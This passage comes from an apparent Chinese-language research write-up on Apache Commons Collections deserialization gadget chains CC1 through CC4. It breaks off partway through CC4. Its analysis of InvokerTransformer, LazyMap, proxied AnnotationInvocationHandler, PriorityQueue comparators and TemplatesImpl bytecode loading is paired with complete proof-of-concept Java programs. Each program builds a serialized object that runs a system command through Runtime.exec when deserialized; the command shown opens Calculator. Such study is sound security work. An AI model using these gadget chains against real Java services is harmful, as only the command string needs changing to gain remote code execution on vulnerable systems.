return method.invoke(input, this.iArgs);
这里接收了一个Object，并调用这个Object方法，方法名、方法所需要的参数类型、方法所需要的参数这三个都是我们可以控制的。
所以我们可以直接通过这里来命令执行：
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);
这就需要一个条件，在调用transform方法的时候，需要传递一个Runtime.getRuntime()，这几乎是不可能的，没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小，实现在反序列化时就能够rce，所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类。
上面说了，其transform方法是将输入的Object原封不动的返回回去，那么我们是不是可以尝试这么搭配：
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);
上述代码搭配ChainedTransformer是这样的：
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
});
chain.transform(123);
}
此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce，但是当尝试去序列化的时候，发生了一个问题：
因为这里的Runtime.getRuntime()返回的是一个Runtime的实例，而Runtime并没有继承Serializable，所以这里会序列化失败。
那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果，并将其传入invoketransformer的transform方法中。这就有了上边那条链。
这里通过InvokerTransformer来实现了一次反射，即通过反射来反射，先是调用getMethod方法获取了getRuntime这个Method对象，接着又通过Invoke获取getRuntime的执行结果。
这里我一开始看Class[].class以及new
Class[0]十分懵逼，不明白到底是为什么，后边经过几位师傅的指导终于理解了。我们这里尝试通过反射去调用getMethod方法，而getMethod的定义如下：
这里需要传入一个name也就是要调用的方法名，接着需要传递一个可变参数，所以这里的Class[].class，其实就是对应着这里的可变参数，即使我们不需要传递参数，也需要在这里加一个Class[].class，后边再加一个new
Class[0]起到占位的作用。
梳理一下现在已经构造好的链：
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
目前已经构造到只需要反序列化后调用transform方法，并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce，也就是说我们现在需要找到一个点调用了transform方法（如果能找到在readObject后就调用那是最好的），如果找不到在readObject里调用transform方法，那么就需要找到一条链，在readObject触发起点，接着一步步调用到了transform方法。
cc1里用的是Lazymap#get这个方法：
如果这里的this.factory可控，那么我们就可以通过LazyMap来延长我们的链，下一步就是找哪里调用了get方法了。
protected final Transformer factory;
这里的factory并没有被transient以及static关键字修饰，所以是我们可控的，并且由于factory是在类初始化时定义的，所以我们可以通过创建LazyMap实例的方式来设置他的值。
但是这里的构造方法并不是public的，所以需要通过反射的方式来获取到这个构造方法，再创建其实例。
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}
接着我们需要找到某个地方调用了get方法，并且传递了任意值。通过学习了上边动态代理的知识，我们可以开始分析cc1的前半段链了。
入口时AnnotationInvocationHandler的readObject：
这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类，那么就会调用memberValues对应handler的invoke方法，cc1中将handler设置为AnnotationInvocationHandler（其实现了InvocationHandler，所以可以被设置为代理类的handler）。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
这里对this.memberValues调用了get方法，如果此时this.memberValues为我们的map，那么就会触发LazyMap#get，从而完成触发rce。
完整POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
分析一下利用过程：
在readObject时，会触发AnnotationInvocationHandler#readObject方法：
此时调用了this.memberValues.entrySet，而this.memberValues是之前构造好的proxy_map，由于这是一个代理对象，所以调用其方法时，会去调用其创建代理时设置的handler的invoke方法。
这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类，接着会调用他的invoke方法：
InvocationHandler#invoke的78行代码中调用了this.memberValues#get，此时的this.memberValues为之前设置好的lazymap，所以这里调用的是lazymap#get，从而触发后边的rce链。
这里还是比较绕的，因为设置了两个handler，但是第一个handler是为了触发lazymap#get，而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。
接着解释一些细节的问题：
1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?
因为AnnotationInvocationHandler并不是public类，所以无法直接通过new的方式来创建其实例。
2.为什么创建其实例时传入的第一个参数是Override.class?
因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类：
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}
而Override.class正是java自带的一个注解类：
所以这里可以直接用上，当然要是换成其他注解类也是ok的。
### 后话
创建lazymap那里其实并不需要用到反射，因为lazymap自带了一个方法来帮助我们创建其实例：
所以把上述通过反射来创建LazyMap的实例代码改为如下，也是可以成功的：
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
## CommonsCollections 2
测试环境：
* JDK 1.7
* Commons Collections 4.0
* javassit
maven：
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
### 利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
### javassit
cc2中用到了这块知识，在这里记录一下。
导包：
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
.java文件需要编译成.class文件后才能正常运行，而javassit是用于对生成的class文件进行修改，或以完全手动的方式，生成一个class文件。
Demo:
import javassist.*;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法，无参数，无返回值，输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("./");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面的代码生成的class文件是这样的：
通过代码结合生成的class来理解就好了，十分简单。
### 利用链分析
后半段链和cc1差不多，所以这里可以正向分析，从readObject来学习整条链。
PriorityQueue#readObject：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
这里的queue[i]的值是由readObject得到的，也就是说在writeObject处写入了对应的内容：
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。
在readObject处调用了heapify：
这里的queue[i]是我们可控的。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown：
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里的x是我们可控的，跟入第一个siftDownUsingComparator：
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
重点：
comparator.compare(x, (E) c)
这里的x是我们可控的，cc2中使用了TransformingComparator#compare来触发后续链，看一下这个方法：
可以发现，这里对this.transformer调用了transform方法，如果这个this.transformer可控的话，就可以触发cc1中的后半段链。
从上图可以看出，this.transformer并没有被static或transient修饰，所以是我们可控的。
构造POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
这个poc延用了cc1的后半段链，直接在最后触发了ChainedTransformer#transform方法导致rce。但是cc2在yso中的poc并不是这个，而是用到了一个新的点TemplatesImpl。
* 一些细节的问题
1.为什么这里要put两个值进去?
这里往queue中put两个值，是为了让其size>1，只有size>1才能使的i>0，才能进入siftDown这个方法中，完成后面的链。
2.这里为什么要在add之后才通过反射修改comparator的值?
add调用了offer方法：
offer方法中调用了siftUp方法：
这里需要保证comparator的值为null，才能够正常的添加元素进queue，如果我们在add之前使comparator为我们构造好的TransformingComparator，就会报这么一个错误：
我们回过头来看看javassit：
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println(\"evil code\");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面这段代码中生成的class是这样的：
这里的static语句块会在创建类实例的时候执行。
回到TemplatesImpl这个类中：
在其newTransformer中调用了getTransletInstance方法：
重点代码即我圈起来的两行代码，首先先跟进defineTransletClasses方法：
这里通过loader.defineClass的方式将bytecodes还原为Class，接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class。此时static语句块成功执行。
也就是说，我们可以通过TemplatesImpl#newTransformer方法来执行恶意类的static语句块。
Demo：
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
此时已经可以成功执行命令了，接下来就是需要找到一个点调用了newTransformer这个方法。
前面说了，我们已经可以执行到transform方法了，那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer，达到命令执行的目的。
完整POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
* 一些细节问题
这里我从poc的上半段到下半段，把一些细节问题梳理一下。
1.为什么要设置恶意类的父类为AbstractTranslet?
这是因为在defineTransletClasses这个方法中存在一个判断：
我们需要令_transletIndex为i，此时的i为0，默认状态下_transletIndex的值为-1，而如果_transletIndex的值小于0，就会抛出异常：
这里我们也不能通过反射的方式来设置_transletIndex的值，因为还是会进入到_auxClasses方法中，此方法会报出错误，我们依旧无法正常的序列化。
2.为什么要设置_name、_class、两个属性，其值对应的意义是什么？
首先如果要进入defineTransletClasses，需要满足这两个条件：
所以_name需要设置为任意不为null的值，而_class需要设置为null。
3.为什么要通过反射的方式来设置queue的值，而不能直接add？
这是因为在put的时候会将后一个元素与前一个元素进行比较，而templates是一个类，他和数字1无法进行比较，所以这里会报错。同样的，如果传入一个对象和另外一个对象，两者也无法进行比较，都会报出如下错误：
所以需要通过反射的方式来对queue的值进行设置。
4.为什么要修改queue数组的第一个值为TemplatesImpl?
是因为在调用compare方法的时候，传递了一个obj1进去：
通过cc1的学习我们知道，InvokerTransformer调用方法是基于你传递进来的类来进行调用的，所以这里的obj1需要设置为TemplatesImpl，而这个obj1是从这里来的：
所以我们需要控制这个c，而这个c是从queue中取出来的，所以在这里我们需要设置queue中第一个值为TemplatesImpl，为什么不能设置为第二个呢？是因为调用compare时，会先对第一个进行调用，如果我们设置TemplatesImpl在第二个位置，则会报出1没有newTransformer方法的错误：
5.为什么要通过反射的方式修改size?
这个在前面说过了，size必须要大于2，而我们这里并没有调用put方法，所以size默认是为0的，当然还有一种办法，就是先调用两次put，put正常的值进，再修改queue数组，这两种办法的实现原理是一样的。
### 我认为的利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
## Commons Collections 3
利用环境：
* jdk1.7
* Commons Collections 3.1
### 利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
### 利用链分析
cc3更像是cc1+cc2的结合体，然后稍微变种了一下。。
cc2里说了，我们需要通过TemplatesImpl#newTransformer来实现命令执行，在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer。
在cc3中引入了一个新的InstantiateTransformer，以下是他的transform方法：
可以发现这里创建了类实例，如果我们把input设置为TrAXFilter，那么就会在这里实例化的时候调用其构造方法，触发TemplatesImpl#newTransformer。
构造POC：
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
这个poc看起来应该就不会有前面那么费劲了，因为cc3实际上就只是cc1和cc2的杂交变种。相当于cc1的前半段链结合cc3的后半段链，中间transformer这里稍微改了一下触发方式而已。
## Commons Collections 4
测试环境：
* jdk1.7
* Commons Collections 4.0
### 利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
### 利用链分析
cc4也没什么新的东西，实际上算是cc2和cc3的杂交体。。
cc3前半段用的是cc1的，在cc4里稍微改了一下，前半段换成cc2的了。。
POC：
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
